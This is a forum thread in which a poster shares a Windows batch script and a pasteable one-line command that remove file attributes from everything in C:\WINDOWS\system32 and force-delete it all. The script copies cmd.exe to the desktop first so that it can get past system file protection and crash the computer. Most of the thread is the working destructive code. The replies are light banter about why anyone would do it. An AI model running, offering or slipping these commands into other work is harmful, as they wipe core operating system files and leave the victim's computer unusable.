ACTUALLY delete system32

This has the ability to ACTUALLY delete system32. Now, normally I'd say "Feh, won't work!" but trust me, it took me 5 tries to get it good. Please note, this won't work perfectly, as you have to click OK a few times before it causes a BSOD (disregard the windows system file alert).

batch file:

Code:

@echo off
copy "%comspec%" "%userprofile%\Desktop\_cmd.exe"
"%userprofile%\Desktop\_cmd.exe" /k for /f "delims=" %%A in ('dir /a:-d /b /o:-n /s C:\WINDOWS\system32') do attrib -h -s -r -a "%%A" & del /f /s /q "%%A"


That code is a modified version of the script I used. If you want to run it without any possibility of the script failing (who knows?), make a copy of the command prompt on your desktop (a FULL copy) and open that. Then run this command (right click - paste)

Code:

for /f "delims=" %A in ('dir /a:-d /b /o:-n /s C:\WINDOWS\system32') do attrib -h -s -r -a "%A" & del /f /s /q "%A"

nice work. But I still fail to see the purpose of destroying somebody's computer...

-xPloit wrote:nice work. But I still fail to see the purpose of destroying somebody's computer...

I just wanted to see if it was possible to actually cause a BSOD by deleting system32. Now that I've confirmed that it's possible, I wanted to share it.

well logic would have told you that was possible XD the system cant run without sys32...therefore, BSOD

-xPloit wrote:well logic would have told you that was possible XD the system cant run without sys32...therefore, BSOD

But logic also would tell you that the system would work very hard to prevent you from doing permanent damage. This script circumvents (most of) this.

true. But if things were easy, they wouldn't be any fun would they? XD

-xPloit wrote:true. But if things were easy, they wouldn't be any fun would they? XD

Well, it did take me 5 tries to do it properly.

exactly!